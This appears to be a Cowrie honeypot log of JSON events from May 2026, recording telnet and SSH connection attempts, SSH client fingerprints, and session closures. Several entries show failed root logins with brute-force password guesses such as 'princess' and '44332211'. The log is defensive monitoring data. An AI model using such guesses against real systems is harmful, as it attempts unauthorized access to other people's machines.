{"eventid":"cowrie.session.closed","duration":43.5343861579895,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:46.538440Z","src_ip":"152.42.224.71","session":"43abfaf18e73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52456,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4d9a2a6ce0","protocol":"telnet","message":"New connection: 152.42.224.71:52456 (10.17.0.5:23) [session: 0a4d9a2a6ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:47.221002Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52462,"dst_ip":"10.17.0.5","dst_port":23,"session":"d795952adddd","protocol":"telnet","message":"New connection: 152.42.224.71:52462 (10.17.0.5:23) [session: d795952adddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:47.828505Z"}
{"eventid":"cowrie.session.closed","duration":20.560190439224243,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:52.194783Z","src_ip":"152.42.224.71","session":"96117e26bd6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":47880,"dst_ip":"159.203.135.109","dst_port":22,"session":"513b8abe815d","protocol":"ssh","message":"New connection: 47.237.167.49:47880 (159.203.135.109:22) [session: 513b8abe815d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:52.690535Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":48808,"dst_ip":"159.203.135.109","dst_port":22,"session":"642fe7edb567","protocol":"ssh","message":"New connection: 103.77.175.15:48808 (159.203.135.109:22) [session: 642fe7edb567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:54.735919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:54.739809Z","src_ip":"103.77.175.15","session":"642fe7edb567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:54.996489Z","src_ip":"103.77.175.15","session":"642fe7edb567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19861986","message":"login attempt [root/19861986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:55.762542Z","src_ip":"103.77.175.15","session":"642fe7edb567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00113868713379,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:56.901944Z","src_ip":"152.42.224.71","session":"352a7b087841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:57.020136Z","src_ip":"103.77.175.15","session":"642fe7edb567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.97391319274902,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:02.088603Z","src_ip":"152.42.224.71","session":"b0689d776d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38214,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c356cd0ce6f","protocol":"telnet","message":"New connection: 152.42.224.71:38214 (10.17.0.5:23) [session: 2c356cd0ce6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:02.982948Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38226,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cc1008b10c9","protocol":"telnet","message":"New connection: 152.42.224.71:38226 (10.17.0.5:23) [session: 4cc1008b10c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:03.166708Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:03.436659Z","src_ip":"47.237.167.49","session":"5a7082af8496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.103","src_port":15523,"dst_ip":"10.17.0.5","dst_port":22,"session":"e74ec804fbd5","protocol":"ssh","message":"New connection: 65.49.1.103:15523 (10.17.0.5:22) [session: e74ec804fbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:03.630208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:03.661994Z","src_ip":"65.49.1.103","session":"e74ec804fbd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:03.721465Z","src_ip":"65.49.1.103","session":"e74ec804fbd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.51340913772583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:06.645912Z","src_ip":"152.42.224.71","session":"82a1193bad0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:07.661471Z","src_ip":"65.49.1.103","session":"e74ec804fbd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60726,"dst_ip":"10.17.0.5","dst_port":23,"session":"6455b06114b2","protocol":"telnet","message":"New connection: 152.42.224.71:60726 (10.17.0.5:23) [session: 6455b06114b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:07.854409Z"}
{"eventid":"cowrie.session.closed","duration":26.884746551513672,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:11.866375Z","src_ip":"152.42.224.71","session":"958ca4a8ffb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.9","message":"Connection lost after 21.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:14.554420Z","src_ip":"47.237.167.49","session":"513b8abe815d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.678643465042114,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:14.570923Z","src_ip":"152.42.224.71","session":"f80b9c183b52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":36480,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de590bc76d9","protocol":"ssh","message":"New connection: 103.98.149.87:36480 (10.17.0.5:22) [session: 3de590bc76d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:15.576455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:15.638081Z","src_ip":"103.98.149.87","session":"3de590bc76d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.7136664390564,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:15.740497Z","src_ip":"152.42.224.71","session":"0a6ededad50b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:15.827477Z","src_ip":"103.98.149.87","session":"3de590bc76d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.62957286834717,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:15.885178Z","src_ip":"152.42.224.71","session":"c4f68cdb32e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.40871286392212,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:16.356962Z","src_ip":"152.42.224.71","session":"9bce4380d506","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.999882221221924,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:16.663657Z","src_ip":"152.42.224.71","session":"f84ff034817c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"princess","message":"login attempt [root/princess] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:16.736729Z","src_ip":"103.98.149.87","session":"3de590bc76d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:17.967458Z","src_ip":"103.98.149.87","session":"3de590bc76d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.938068866729736,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:23.039493Z","src_ip":"152.42.224.71","session":"93111c9fb19a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40774,"dst_ip":"10.17.0.5","dst_port":23,"session":"6503f4937769","protocol":"telnet","message":"New connection: 152.42.224.71:40774 (10.17.0.5:23) [session: 6503f4937769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:24.737258Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45852,"dst_ip":"10.17.0.5","dst_port":23,"session":"11d28f4fc76b","protocol":"telnet","message":"New connection: 152.42.224.71:45852 (10.17.0.5:23) [session: 11d28f4fc76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:28.468081Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45862,"dst_ip":"10.17.0.5","dst_port":23,"session":"264d1d953975","protocol":"telnet","message":"New connection: 152.42.224.71:45862 (10.17.0.5:23) [session: 264d1d953975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:29.234840Z"}
{"eventid":"cowrie.session.closed","duration":83.92085766792297,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:29.508864Z","src_ip":"152.42.224.71","session":"9d1f512c6fe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45864,"dst_ip":"10.17.0.5","dst_port":23,"session":"e026473767bf","protocol":"telnet","message":"New connection: 152.42.224.71:45864 (10.17.0.5:23) [session: e026473767bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:30.077483Z"}
{"eventid":"cowrie.session.closed","duration":28.747498273849487,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:31.914232Z","src_ip":"152.42.224.71","session":"4cc1008b10c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45868,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb3e7acd2d17","protocol":"telnet","message":"New connection: 152.42.224.71:45868 (10.17.0.5:23) [session: bb3e7acd2d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:34.492378Z"}
{"eventid":"cowrie.session.closed","duration":47.95362591743469,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:35.782024Z","src_ip":"152.42.224.71","session":"d795952adddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52398,"dst_ip":"10.17.0.5","dst_port":23,"session":"3689aeb2d00d","protocol":"telnet","message":"New connection: 152.42.224.71:52398 (10.17.0.5:23) [session: 3689aeb2d00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:40.246815Z"}
{"eventid":"cowrie.session.closed","duration":36.1202495098114,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:43.974373Z","src_ip":"152.42.224.71","session":"6455b06114b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52408,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae6c4f16d8e5","protocol":"telnet","message":"New connection: 152.42.224.71:52408 (10.17.0.5:23) [session: ae6c4f16d8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:44.010057Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38276,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c5fcd84b14b","protocol":"ssh","message":"New connection: 103.176.20.57:38276 (10.17.0.5:22) [session: 4c5fcd84b14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:46.282501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:46.287323Z","src_ip":"103.176.20.57","session":"4c5fcd84b14b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:46.541804Z","src_ip":"103.176.20.57","session":"4c5fcd84b14b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"?????","message":"login attempt [root/?????] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:47.288318Z","src_ip":"103.176.20.57","session":"4c5fcd84b14b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:48.544835Z","src_ip":"103.176.20.57","session":"4c5fcd84b14b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00294280052185,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:50.492068Z","src_ip":"152.42.224.71","session":"0f67e3359935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":38574,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f677848e6b9","protocol":"ssh","message":"New connection: 147.45.199.80:38574 (159.203.135.109:22) [session: 3f677848e6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:54.126831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:54.132249Z","src_ip":"147.45.199.80","session":"3f677848e6b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:54.227737Z","src_ip":"147.45.199.80","session":"3f677848e6b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"44332211","message":"login attempt [root/44332211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:54.514855Z","src_ip":"147.45.199.80","session":"3f677848e6b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36778,"dst_ip":"10.17.0.5","dst_port":23,"session":"7413e2daabae","protocol":"telnet","message":"New connection: 152.42.224.71:36778 (10.17.0.5:23) [session: 7413e2daabae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:55.252913Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:55.613096Z","src_ip":"147.45.199.80","session":"3f677848e6b9","protocol":"ssh"}
